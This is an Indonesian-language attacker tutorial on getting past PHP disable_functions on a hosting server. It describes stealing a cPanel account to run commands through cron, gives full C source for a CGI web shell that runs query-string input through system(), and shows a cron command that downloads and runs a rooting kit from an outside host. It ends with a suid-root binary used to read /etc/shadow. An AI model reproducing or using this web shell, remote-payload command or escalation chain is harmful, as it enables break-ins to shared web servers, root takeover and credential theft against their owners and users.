bypass disable function, disable cgi python, cgi perl di target dg cgi bin by: ev1lut10n yup kali ini akan kita mainkan salah satu dari permainan rahasia yang paling mudah (teknik ini hanya utk pemula yg baru belajar membypass) yang biasa dipakai attacker dalam membypass (masih banyak teknik2 lainya yg bisa dipakai si attacker untuk membypass). misal pada target terdapat disable function php berikut ini: disable_functions: ini_alter,system,passthru,shell_exec,leak,listen,chgrp,apache_setenv,define_syslog_variables,openlog,syslog,ftp_exec,posix_getpwuid,posix_getpwnam lalu kita mencoba mengupload shell cgi perl maupun python ke cgi-bin tapi sayangnya setelah diupload crut: === Internal Server Error The server encountered an internal error or misconfiguration and was unable to complete your request. Please contact the server administrator, webmaster@adhdsociety.com and inform them of the time the error occurred, and anything you might have done that may have caused the error. More information about this error may be available in the server error log. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request. ===== karena masalah path atau krn perl atau python pantang kita exec (permission denied bo) untuk mengatasi permasalahan di atas bisa dg mencolong satu cpanel di server itu lalu setelah masuk ke cpanel liat di bag biasanya ada cron, dari situ kita bisa pakai untuk menjalankan perintah shell: selanjutnya bikin cron baru, pilih common setting, pilih every minute: misal perintahnya: id > id.txt selanjutnya jika berhasil maka kita bisa melihat hasil jalanya perintah di file id.txt tadi yang akan tersimpan di /home/usercpanelyangkitaboboltadi misal kita liat hasil pocnya seperti di bawah ini: nah karena teknik di atas akan berjalan sangat lama krn harus menunggu cron permenit kita akan gali lagi lebih dalam. banyak teknik yang bisa dipakai. misal dg cgi shell dari c : ===== /** CGI Shell in C made by : ev1lut10n **/ #include <stdio.h> #include <stdlib.h> #include <string.h> static void kotak_cmd() { printf("%s","<br><form action=?"); printf("%s","method=get>"); printf("%s","shell command : <input type=text"); printf("%s"," name=cmd>"); printf("%s","<input type=submit"); printf("%s"," value=execute>"); printf("%s","</form>"); } static void set_heder() { printf("%s%c%c\n","Content-Type:text/html;charset=iso-8859-1",13,10); } char *replace(char *st, char *orig, char *repl) { static char buffer[4096]; char *ch; if (!(ch = strstr(st, orig))) return st; strncpy(buffer, st, ch-st); buffer[ch-st] = 0; sprintf(buffer+(ch-st), "%s%s", repl, ch+strlen(orig)); return buffer; } int main(void) { char *data; char cmd[100]; char perintah[256]=""; set_heder(); kotak_cmd(); data = getenv("QUERY_STRING"); sscanf(data,"cmd=%s",cmd); printf("\ncmd: |%s|\n",cmd); strcat(perintah,cmd); printf("\nperintah: |%s|\n",perintah); system(perintah); return 0; } ======================= compile: gcc -o cgi cgi.c untuk rooting bisa menggunakan botnet (yang belum jadi dibuat sih) ============== utk rooting, misal di cron tadi kita isikan perintah: ============================ wget http://testsite.swcteam.com/libraries/rooting.tgz;tar zxvf rooting.tgz;cd backups;perl backup.pl ============================ jika berhasil melakukan root maka dalam beberapa menit kemudian file suid di direktori backups menjadi suid root ==== ev1lut10n@ev1lut10n-Vostro1310:~/www/backups$ ls -l suid -rwsr-xr-x 1 root ev1lut10n 7292 2012-02-16 05:39 suid ===== di mana kita bisa mengeksekusi perintah root: misal: ==== ev1lut10n@ev1lut10n-Vostro1310:~/www/backups$ ./suid id uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout) === utk perintah dg lebih dari 1 argumen: ======= echo 'cat /etc/shadow'> cmd;./suid ./cmd ======